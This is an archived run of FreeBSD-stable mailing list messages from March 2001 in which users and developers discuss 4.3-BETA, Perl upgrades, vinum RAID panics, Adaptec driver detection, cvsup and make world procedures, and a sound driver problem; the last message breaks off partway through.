hub.freebsd.org (Postfix) with ESMTP id C6D6337B718 for ; Thu, 15 Mar 2001 17:25:39 -0800 (PST) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id UAA53492; Thu, 15 Mar 2001 20:25:31 -0500 (EST) (envelope-from wollman) Date: Thu, 15 Mar 2001 20:25:31 -0500 (EST) From: Garrett Wollman Message-Id: <200103160125.UAA53492@khavrinen.lcs.mit.edu> To: joe@tao.org.uk Subject: Re: Perl 5.6 merged soon? In-Reply-To: <20010316004820.C4241@tao.org.uk> References: <20010315080445.A57062@clyde.goodleaf.net> <20010315095551E.jkh@osd.bsdi.com> <20010315121201.E54243@rand.tgd.net> Organization: MIT Laboratory for Computer Science Cc: stable@freebsd.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article you write: >For people who want to run perl 5.6.0 on -stable now they >should be able to get away with 'NOPERL=true' in /etc/make.conf >and installing 5.6.0 by hand. One of the big problems with uprevving the Perl in -stable is that the Perl people don't seem to show much concern for binary compatibility. As a result, when there's a new version of Perl put into the system, anyone who has a non-trivial set of Perl extensions installed must spend a good deal of time identifying them all and reinstalling every one (and potentially any local applications that depend on them). If I put my sysadmin hat on for a moment, I *really*, *really* don't want to do this on production systems, and I would probably freeze my -stable machines the instant before a new Perl hits the branch. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 17:34:44 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mx0.gmx.net (mx0.gmx.net [213.165.64.100]) by hub.freebsd.org (Postfix) with SMTP id 9AA5D37B719 for ; Thu, 15 Mar 2001 17:34:39 -0800 (PST) (envelope-from Harald.Schmalzbauer@gmx.de) Received: (qmail 25200 invoked by uid 0); 16 Mar 2001 01:34:38 -0000 Date: Fri, 16 Mar 2001 02:34:38 +0100 (MET) From: Harald Schmalzbauer To: stable@freebsd.org MIME-Version: 1.0 Subject: gdb (was yet another vinum panic) X-Priority: 3 (Normal) X-Authenticated-Sender: #0000301138@gmx.net X-Authenticated-IP: [212.63.129.190] Message-ID: <24820.984706478@www10.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Sorry, I think I'm too stupid to give you useful information about my problem. Since, like I mentioned, I'm no programmer and therfore I'm not used to debug anything, I can't use the information given in the handbook. I made a debug kernel, I set the dumpdev in rc.local but I'm sitting infront of the machine without any idea what to do. I reproduce one crash after another (and belive me it's no fun to have fsck for 400G on every crash) but I can't see that any "debug-file" is written. I really try to do my best, but tapping in the dark with 400G fsck on every mistake doesn't help much, it's just wasting time. So please tell me, is there a chance to get any software raid1 working? If so, give me a quick instruction how I can find useful info. Best regards, -Harry -- Sent through GMX FreeMail - http://www.gmx.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 17:39:50 2001 Delivered-To: freebsd-stable@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [209.152.133.57]) by hub.freebsd.org (Postfix) with ESMTP id 9B9B637B718; Thu, 15 Mar 2001 17:39:44 -0800 (PST) (envelope-from obrien@NUXI.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.11.3/8.11.1) id f2G1deZ53045; Thu, 15 Mar 2001 17:39:40 -0800 (PST) (envelope-from obrien) Date: Thu, 15 Mar 2001 17:39:39 -0800 From: "David O'Brien" To: Wilko Bulte Cc: stable@freebsd.org, alpha@freebsd.org Subject: Re: New 4.3 BETA (BETA2) release available Message-ID: <20010315173939.A53027@dragon.nuxi.com> Reply-To: obrien@freebsd.org References: <20010313191333C.jkh@osd.bsdi.com> <20010313234512.A91108@dragon.nuxi.com> <20010314150721.A5250@dragon.nuxi.com> <20010315192825.A1013@freebie.demon.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010315192825.A1013@freebie.demon.nl>; from wkb@freebie.demon.nl on Thu, Mar 15, 2001 at 07:28:25PM +0100 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Mar 15, 2001 at 07:28:25PM +0100, Wilko Bulte wrote: > Eh... > > >>>boot dkc600 > (boot dkc600.6.0.1009.0 -flags i) > block 0 of dkc600.6.0.1009.0 is not a valid boot block > bootstrap failure > >>> I'm looking into this, plus testing some patches from JKH to fix the "Going now where with out my init" problem. But a really stupid single character typo on my part has destablized my release build. I'm kicking off another release build and will report back here in several hours. -- -- David (obrien@FreeBSD.org) GNU is Not Unix / Linux Is Not UniX To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 17:43:51 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mx0.gmx.net (mx0.gmx.net [213.165.64.100]) by hub.freebsd.org (Postfix) with SMTP id B537037B71A for ; Thu, 15 Mar 2001 17:43:48 -0800 (PST) (envelope-from Harald.Schmalzbauer@gmx.de) Received: (qmail 2375 invoked by uid 0); 16 Mar 2001 01:43:47 -0000 Date: Fri, 16 Mar 2001 02:43:48 +0100 (MET) From: Harald Schmalzbauer To: stable@freebsd.org MIME-Version: 1.0 Subject: Re: yet another vinum panic (was How to debug - find error?) X-Priority: 3 (Normal) X-Authenticated-Sender: #0000301138@gmx.net X-Authenticated-IP: [212.63.129.190] Message-ID: <28718.984707028@www10.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >The error you reported was related to your '/backup' filesystem. What >is /backup represented by? The RAID volume or the vinum/ccd partition? Its the vinum/ccd >Are the files you are copying lots of little files or a few really big >files? Lots of small (500k)(~500.000) and a view bigger (10M) >Did you use any special filesystem parameters when you newfs'd your >machine's filesystems? For ccd no, for vinum just the obligate -v >There are all sorts of possible sources to the problem unfortunately, >it may not be possible to easily diagnose it. It could be the RAID, >NFS, a bug in the kernel, a bug in the network stack... just about >anything. For the last few months I've been trying to track down >a problem similar to the one you've just reported with little success. I don't think this is anything other related than to the IDE drives. The RAID was in operation for half a year without any error, the NFS-Mounts are the same I do for one year. This panic just occurs if I configure a software raid. Everything is working fine when I do the same tests to one of the IDE drives alone under the same circumstances. >The first thing I would do, if you haven't already, is upgrade to the >absolute latest FreeBSD-stable kernel. I cvusped today and built world today. Thank you, -Harry -- Sent through GMX FreeMail - http://www.gmx.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 17:55:51 2001 Delivered-To: freebsd-stable@freebsd.org Received: from csgrad.cs.vt.edu (csgrad.cs.vt.edu [128.173.41.41]) by hub.freebsd.org (Postfix) with ESMTP id 5498437B719 for ; Thu, 15 Mar 2001 17:55:49 -0800 (PST) (envelope-from sperugin@csgrad.cs.vt.edu) Received: from localhost (sperugin@localhost) by csgrad.cs.vt.edu (8.10.1/8.10.1) with ESMTP id f2G1tm615053 for ; Thu, 15 Mar 2001 20:55:48 -0500 (EST) Date: Thu, 15 Mar 2001 20:55:48 -0500 (EST) From: Saverio Perugini To: freebsd-stable@freebsd.org Subject: 4.3-BETA Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, Today I did a make world on my old 4.0-RELEASE system. I used the following tag in my CVSup supfile: tag=RELENG_4 I thought this was the tag for the line of development for FreeBSD-4.X, also known as FreeBSD-STABLE, as indicated in the FreeBSD Handbook. However, after making world, uname -a returns pipe# uname -a FreeBSD pipe.cs.vt.edu 4.3-BETA FreeBSD 4.3-BETA #0: Thu Mar 15 14:01:01 EST 2001 root@pipe.cs.vt.edu:/usr/obj/usr/src/sys/PIPE i386 Why does uname -a indicate that I am running a beta system? Did I not follow the process to upgrade to a stable system correctly? What is a BETA system? Is it similiar to CURRENT? Thank you. Best, Saverio Perugini email: sperugin@vt.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 18: 0:33 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail5.nc.rr.com (fe5.southeast.rr.com [24.93.67.52]) by hub.freebsd.org (Postfix) with ESMTP id 7AC0C37B719 for ; Thu, 15 Mar 2001 18:00:31 -0800 (PST) (envelope-from jason@monsterjam.org) Received: from monsterjam.org ([66.26.235.122]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Thu, 15 Mar 2001 20:01:21 -0500 Received: (qmail 44597 invoked from network); 16 Mar 2001 01:01:23 -0000 Received: from unknown (HELO monsterjam.org) (10.1.1.10) by monsterjam.org with SMTP; 16 Mar 2001 01:01:23 -0000 Message-ID: <3AB166D6.29AF93FA@monsterjam.org> Date: Thu, 15 Mar 2001 20:05:26 -0500 From: Jason X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17-21mdk i686) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-stable@FreeBSD.org Subject: FreeBSD 4.2 Stable and adaptec card problems Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG BSD fans, I have a system that has an adaptec 1540 scsi controller and I have used the boot floppies from 4.1 release and 4.2-release to install FreeBSD onto this box with no problem. I created floppies from the 4.2-20010312-STABLE/ snapshot on releng4 and booted them to test upgrade a 4.1-release system.. When I booted and did the config util, I did NOT recognize my adaptec controller.. I checked the devices that it detected and there was no mention of the controller at all. I know I ran the config util right because I selected the same options with both 4.1 release and 4.2 release floppies and they recognized the card with no problem.. I even have 4.1-release installed on the box. Anyway, anyone have any ideas to what happened to the aha drivers on this snapshot? please respond directly to me because I am not subscribed to this list. thanks and regards, Jason To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 18: 4:44 2001 Delivered-To: freebsd-stable@freebsd.org Received: from xena.gsicomp.on.ca (cr677933-a.ktchnr1.on.wave.home.com [24.43.230.149]) by hub.freebsd.org (Postfix) with ESMTP id DAA5637B719 for ; Thu, 15 Mar 2001 18:04:40 -0800 (PST) (envelope-from matt@gsicomp.on.ca) Received: from hermes (hermes.gsicomp.on.ca [192.168.0.18]) by xena.gsicomp.on.ca (8.11.1/8.9.3) with SMTP id f2G22li71733; Thu, 15 Mar 2001 21:02:47 -0500 (EST) (envelope-from matt@gsicomp.on.ca) Message-ID: <010b01c0adbc$eb1654a0$1200a8c0@gsicomp.on.ca> From: "Matthew Emmerton" To: "Saverio Perugini" , References: Subject: Re: 4.3-BETA Date: Thu, 15 Mar 2001 21:00:46 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > What is a BETA system? Is it similiar to CURRENT? Please search through the mailing list archives before asking questions. This has been answered many times over the last two weeks. 4.2-STABLE became 4.3-BETA when the code was frozen, prior to becoming 4.3-RELEASE. -- Matt Emmerton To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 18: 7:31 2001 Delivered-To: freebsd-stable@freebsd.org Received: from bazooka.unixfreak.org (bazooka.unixfreak.org [63.198.170.138]) by hub.freebsd.org (Postfix) with ESMTP id 5AF6037B719 for ; Thu, 15 Mar 2001 18:07:30 -0800 (PST) (envelope-from dima@unixfreak.org) Received: from spike.unixfreak.org (spike [192.168.2.4]) by bazooka.unixfreak.org (Postfix) with ESMTP id F2F053E1E; Thu, 15 Mar 2001 18:07:29 -0800 (PST) To: Saverio Perugini Cc: freebsd-stable@freebsd.org Subject: Re: 4.3-BETA In-Reply-To: ; from sperugin@csgrad.cs.vt.edu on "Thu, 15 Mar 2001 20:55:48 -0500 (EST)" Date: Thu, 15 Mar 2001 18:07:29 -0800 From: Dima Dorfman Message-Id: <20010316020730.F2F053E1E@bazooka.unixfreak.org> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Saverio Perugini writes: > What is a BETA system? Is it similiar to CURRENT? RTFM: http://www.freebsd.org/FAQ/admin.html#RELEASE-CANDIDATE To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 18:42:22 2001 Delivered-To: freebsd-stable@freebsd.org Received: from thehousleys.net (frenchknot.ne.mediaone.net [24.147.224.201]) by hub.freebsd.org (Postfix) with ESMTP id 267DB37B71C for ; Thu, 15 Mar 2001 18:42:19 -0800 (PST) (envelope-from jim@thehousleys.net) Received: (from root@localhost) by thehousleys.net (8.11.2/8.11.2) id f2G2fu204689 for freebsd-stable@freebsd.org; Thu, 15 Mar 2001 21:41:56 -0500 (EST) (envelope-from jim@thehousleys.net) Received: from thehousleys.net (baby.int.thehousleys.net [192.168.0.24]) (authenticated) by thehousleys.net (8.11.2/8.11.2) with ESMTP id f2G2fjS04681 for ; Thu, 15 Mar 2001 21:41:45 -0500 (EST) (envelope-from jim@thehousleys.net) Message-ID: <3AB17D69.D5E29ED8@thehousleys.net> Date: Thu, 15 Mar 2001 21:41:45 -0500 From: James Housley X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-stable@freebsd.org Subject: Re: PROBLEMS with 4.3-BETA and dump -- UPDATED References: <3AB12BDA.A3BA79C8@thehousleys.net> <3AB13308.5E8E8703@thehousleys.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: by AMaViS perl-10 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG James Housley wrote: > > James Housley wrote: > > [snip] > > > > > Anyone have an idea which subsystem might be causing this? > > > > I will keep more post as I narrow the date down. > > > > It was asked if it might be the ATA_ENABLE_WC commit causeing the > slowdown. That was committed on 2/25 and cvs update -rRELENG_4 -D "16 > days ago" is 2/27 or 2/28 so that is not it. And write chaching should > have little affect on reading, which is what is being done. > > Also the ata commits on 2/25 were the last commits in src/sys/dev/ata. > I have narrowed down the date range to 12days ago it worked and 8days ago it broke. Jim -- /"\ ASCII Ribbon Campaign . \ / - NO HTML/RTF in e-mail . X - NO Word docs in e-mail . / \ ----------------------------------------------------------------- jeh@FreeBSD.org http://www.FreeBSD.org The Power to Serve jim@TheHousleys.Net http://www.TheHousleys.net --------------------------------------------------------------------- If it happens once, it's a bug. If it happens twice, it's a feature. If it happens more than twice, it's windows. -- Luiz de Barros To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 19:26:26 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail7.nc.rr.com (mail7.southeast.rr.com [24.93.67.54]) by hub.freebsd.org (Postfix) with ESMTP id C5C1737B71A for ; Thu, 15 Mar 2001 19:26:23 -0800 (PST) (envelope-from bts@babbleon.org) Received: from babbleon.org ([66.26.250.181]) by mail7.nc.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Thu, 15 Mar 2001 22:26:17 -0500 Message-ID: <3AB187C0.88B6D724@babbleon.org> Date: Thu, 15 Mar 2001 22:25:52 -0500 From: The Babbler Organization: None to speak of X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: kstewart@urx.com Cc: Francisco Reyes , Torben Baecker , j mckitrick , freebsd-stable@freebsd.org Subject: Re: New KERNCONF option References: <3AB0C76D.D7FD7322@urx.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hmmm . . . I'm doing my first every buildworld stuff, having just grabbed the kernel with cvsup for the first time. It's cool I stumbled across this thread . . . . Where do I get a current /usr/src/UPDATING? The one I have seems to still be the one from when I installed 4.2-RELEASE, so it has directions which are (apparently) obsolete. Wouldn't it make more sense for a kernel "cvsup" to go ahead and update the /usr/src/UPDATING file, since the FreeBSD handbook says to read that for up-to-date directions on building the kernel? Kent Stewart wrote: > > Francisco Reyes wrote: > > > > On Tue, 13 Mar 2001, Torben Baecker wrote: > > > > > make buildworld > > > make kernel KERNCONF=JUPITER > > > > So this new procedure replaces the old? > > Can one put the KERNCONF variable on /etc/rc.conf and just do "make > > kernel" > > > > Where is this explained in /usr/src/UPDATIN? > > You have to read the source but it is easier to see the changes at > http://www.freebsd.org/cgi/cvsweb.cgi/src/Makefile.inc1 It is all > documented starting around 22 Jan. > > Kent > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-stable" in the body of the message > > -- > Kent Stewart > Richland, WA > > mailto:kbstew99@hotmail.com > http://kstewart.urx.com/kstewart/index.html > FreeBSD News http://daily.daemonnews.org/ > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message -- "Brian, the man from babble-on" bts@babbleon.org Brian T. Schellenberger http://www.babbleon.org Support http://www.eff.org. Support decss defendents. Support http://www.programming-freedom.org. Boycott amazon.com. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 19:36:21 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mta5.rcsntx.swbell.net (mta5.rcsntx.swbell.net [151.164.30.29]) by hub.freebsd.org (Postfix) with ESMTP id 8F7E937B718 for ; Thu, 15 Mar 2001 19:36:19 -0800 (PST) (envelope-from hawley_p@ociweb.com) Received: from ociweb.com ([208.190.221.164]) by mta5.rcsntx.swbell.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <0GA900BSJT191Z@mta5.rcsntx.swbell.net> for freebsd-stable@FreeBSD.org; Thu, 15 Mar 2001 21:15:09 -0600 (CST) Date: Thu, 15 Mar 2001 21:12:56 +0000 From: Patrick Hawley To: freebsd-stable@FreeBSD.org Reply-To: hawley_p@ociweb.com Message-id: <3AB13058.A80164C1@ociweb.com> Organization: Object Computing, Inc. MIME-version: 1.0 X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-RELEASE i386) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG subscribe freebsd-stable subscribe cvs-all To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 20:10:35 2001 Delivered-To: freebsd-stable@freebsd.org Received: from odin.ac.hmc.edu (Odin.AC.HMC.Edu [134.173.32.75]) by hub.freebsd.org (Postfix) with ESMTP id 529F137B71C for ; Thu, 15 Mar 2001 20:10:32 -0800 (PST) (envelope-from brdavis@odin.ac.hmc.edu) Received: (from brdavis@localhost) by odin.ac.hmc.edu (8.11.0/8.11.0) id f2G3hpj08992; Thu, 15 Mar 2001 19:43:51 -0800 Date: Thu, 15 Mar 2001 19:43:51 -0800 From: Brooks Davis To: The Babbler Cc: kstewart@urx.com, Francisco Reyes , Torben Baecker , j mckitrick , freebsd-stable@FreeBSD.ORG Subject: Re: New KERNCONF option Message-ID: <20010315194351.A8706@Odin.AC.HMC.Edu> References: <3AB0C76D.D7FD7322@urx.com> <3AB187C0.88B6D724@babbleon.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="RnlQjJ0d97Da+TV1" Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <3AB187C0.88B6D724@babbleon.org>; from bts@babbleon.org on Thu, Mar 15, 2001 at 10:25:52PM -0500 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --RnlQjJ0d97Da+TV1 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Mar 15, 2001 at 10:25:52PM -0500, The Babbler wrote: >=20 > Hmmm . . . I'm doing my first every buildworld stuff, having just > grabbed the kernel with cvsup for the first time. It's cool I stumbled > across this thread . . . . >=20 > Where do I get a current /usr/src/UPDATING? >=20 > The one I have seems to still be the one from when I installed > 4.2-RELEASE, so it has directions which are (apparently) obsolete. >=20 > Wouldn't it make more sense for a kernel "cvsup" to go ahead and update > the /usr/src/UPDATING file, since the FreeBSD handbook says to read that > for up-to-date directions on building the kernel? Wait a minute here. Are you saying you only cvsup'd the kernel? You aren't allowed to do that. You must update all of your src tree at once, nothing else is supported. This would certaintly go a long way towards explaining why you are having trouble. -- Brooks --=20 Any statement of the form "X is the one, true Y" is FALSE. PGP fingerprint 655D 519C 26A7 82E7 2529 9BF0 5D8E 8BE9 F238 1AD4 --RnlQjJ0d97Da+TV1 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE6sYv2XY6L6fI4GtQRAqOeAJ9BXpY64SxBxXiff2NyCYoIwgYXJACghc2P t6LDhmSYBMEJWb0UApVC50Y= =2zLu -----END PGP SIGNATURE----- --RnlQjJ0d97Da+TV1-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 20:14:40 2001 Delivered-To: freebsd-stable@freebsd.org Received: from Mail6.nc.rr.com (fe6.southeast.rr.com [24.93.67.53]) by hub.freebsd.org (Postfix) with ESMTP id 72F5337B718 for ; Thu, 15 Mar 2001 20:14:36 -0800 (PST) (envelope-from bts@babbleon.org) Received: from babbleon.org ([66.26.250.181]) by Mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Thu, 15 Mar 2001 23:14:31 -0500 Message-ID: <3AB1930D.B38B78E4@babbleon.org> Date: Thu, 15 Mar 2001 23:14:05 -0500 From: The Babbler Organization: None to speak of X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Brooks Davis Cc: kstewart@urx.com, Francisco Reyes , Torben Baecker , j mckitrick , freebsd-stable@FreeBSD.ORG Subject: Re: New KERNCONF option References: <3AB0C76D.D7FD7322@urx.com> <3AB187C0.88B6D724@babbleon.org> <20010315194351.A8706@Odin.AC.HMC.Edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Yes, I'm sure that's it. Another problem with coming from the Linux world and getting used to the new way of doing things. The handbook suggested that the easiest way to cvsup was to use # pkg_add -f \ ftp://ftp.FreeBSD.org/pub/FreeBSD/development/CVSup/cvsupit.tgz So I did that. It had choices for what to load; I was only having trouble with kernel stuff (devices and networking), so I only checked that. Seemed quite logical, and the handbook doesn't say you can't. In fact the section of the handbook at http://www.freebsd.org/handbook/synching.html says quite explicitly that you can get only the parts you want. Might be a good clarification for the handbook that though it's a nice interface one isn't allowed to actually choose any old options after bringing it up. Anyway, I don't doubt that this is the problem. Thanks. Of course, if I'm going to do *that* then I probably want to take that "back everything up" a little more seriously. This is going to do like an entire system upgrade, right? Will it know how to preserve all the /etc files and all that that I've customized? I'm thinking that I'm walking into something a bit more complex than I had understood . . . Am I reading the wrong section of the handbook? Should I be reading something else entirely? Brooks Davis wrote: > > On Thu, Mar 15, 2001 at 10:25:52PM -0500, The Babbler wrote: > > > > Hmmm . . . I'm doing my first every buildworld stuff, having just > > grabbed the kernel with cvsup for the first time. It's cool I stumbled > > across this thread . . . . > > > > Where do I get a current /usr/src/UPDATING? > > > > The one I have seems to still be the one from when I installed > > 4.2-RELEASE, so it has directions which are (apparently) obsolete. > > > > Wouldn't it make more sense for a kernel "cvsup" to go ahead and update > > the /usr/src/UPDATING file, since the FreeBSD handbook says to read that > > for up-to-date directions on building the kernel? > > Wait a minute here. Are you saying you only cvsup'd the kernel? You > aren't allowed to do that. You must update all of your src tree at > once, nothing else is supported. This would certaintly go a long way > towards explaining why you are having trouble. > > -- Brooks > > -- > Any statement of the form "X is the one, true Y" is FALSE. > PGP fingerprint 655D 519C 26A7 82E7 2529 9BF0 5D8E 8BE9 F238 1AD4 > > ------------------------------------------------------------------------ > Part 1.2Type: application/pgp-signature -- "Brian, the man from babble-on" bts@babbleon.org Brian T. Schellenberger http://www.babbleon.org Support http://www.eff.org. Support decss defendents. Support http://www.programming-freedom.org. Boycott amazon.com. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 20:27: 4 2001 Delivered-To: freebsd-stable@freebsd.org Received: from isris.pair.com (isris.pair.com [209.68.2.39]) by hub.freebsd.org (Postfix) with SMTP id 8BB9037B71C for ; Thu, 15 Mar 2001 20:27:00 -0800 (PST) (envelope-from rooneg@isris.pair.com) Received: (qmail 69710 invoked by uid 3130); 16 Mar 2001 04:26:59 -0000 Date: Thu, 15 Mar 2001 23:26:59 -0500 From: Garrett Rooney To: The Babbler Cc: Brooks Davis , kstewart@urx.com, Francisco Reyes , Torben Baecker , j mckitrick , freebsd-stable@FreeBSD.ORG Subject: Re: New KERNCONF option Message-ID: <20010315232659.G50055@electricjellyfish.net> References: <3AB0C76D.D7FD7322@urx.com> <3AB187C0.88B6D724@babbleon.org> <20010315194351.A8706@Odin.AC.HMC.Edu> <3AB1930D.B38B78E4@babbleon.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3AB1930D.B38B78E4@babbleon.org>; from bts@babbleon.org on Thu, Mar 15, 2001 at 11:14:05PM -0500 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Mar 15, 2001 at 11:14:05PM -0500, The Babbler wrote: > Am I reading the wrong section of the handbook? > Should I be reading something else entirely? a full system upgrade (make world, as it's often called) isn't nearly as hard with freebsd as it often is in the linux world. first, use cvsup to download the most recent version of -STABLE, as documented in http://www.freebsd.org/handbook/synching.html, and then carefully follow the directions in http://www.freebsd.org/handbook/makeworld.html. it's really pretty easy. your current setup in /etc will be left alone. after you build and install world, you must run mergemaster, which is a script that will automate the process of updating the files in /etc. since you definately have some files in /etc that you have modified, this is not completely automated, but it walks you through it pretty well. good luck. -- garrett rooney Unix was not designed to stop you from rooneg@electricjellyfish.net doing stupid things, because that would http://electricjellyfish.net/ stop you from doing clever things. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 20:27:35 2001 Delivered-To: freebsd-stable@freebsd.org Received: from swarzschild.ninja.cx (cust58.max1.seattle-k56.aa.net [205.199.141.58]) by hub.freebsd.org (Postfix) with ESMTP id 83FCA37B71A for ; Thu, 15 Mar 2001 20:27:21 -0800 (PST) (envelope-from kevin@dycom.net) Received: (from kevin@localhost) by swarzschild.ninja.cx (8.11.3/8.9.3) id f2G4U5473197 for freebsd-stable@freebsd.org; Thu, 15 Mar 2001 20:30:05 -0800 (PST) (envelope-from kevin@dycom.net) X-Authentication-Warning: swarzschild.ninja.cx: kevin set sender to kevin@dycom.net using -f Date: Thu, 15 Mar 2001 20:29:57 -0800 From: Kevin Downey To: freebsd-stable@freebsd.org Subject: Sound under 4.3-BETA Message-ID: <20010315202956.A71617@dycom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Operating-System: FreeBSD swarzschild.ninja.cx 4.3-BETA FreeBSD 4.3-BETA Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I cvsuped to 4.3-BETA, ran make world and compiled my kernel and ran mergemaster. but when i rebooted and try to play mp3s with mpg123 they play really fast and if i use "play" to play a .wav or cat a .au file into /dev/audio the sounds get cut off before the end. I'm using the old sound drivers(maybe thats he problem?) I recompiled mpg123 with no effect. not sure what i should send so.. From kernel: device snd device sb0 at isa? port 0x220 irq 5 drq 1 device sbxvi0 at isa? drq 5 device sbmidi0 at isa? port 0x330 dmesg: sb0 at port 0x220 irq 5 drq 1 on isa0 snd0: sb0: driver is using old-style compatability shims sbxvi0 at port 0xffffffff drq 5 on isa0 isa_compat: 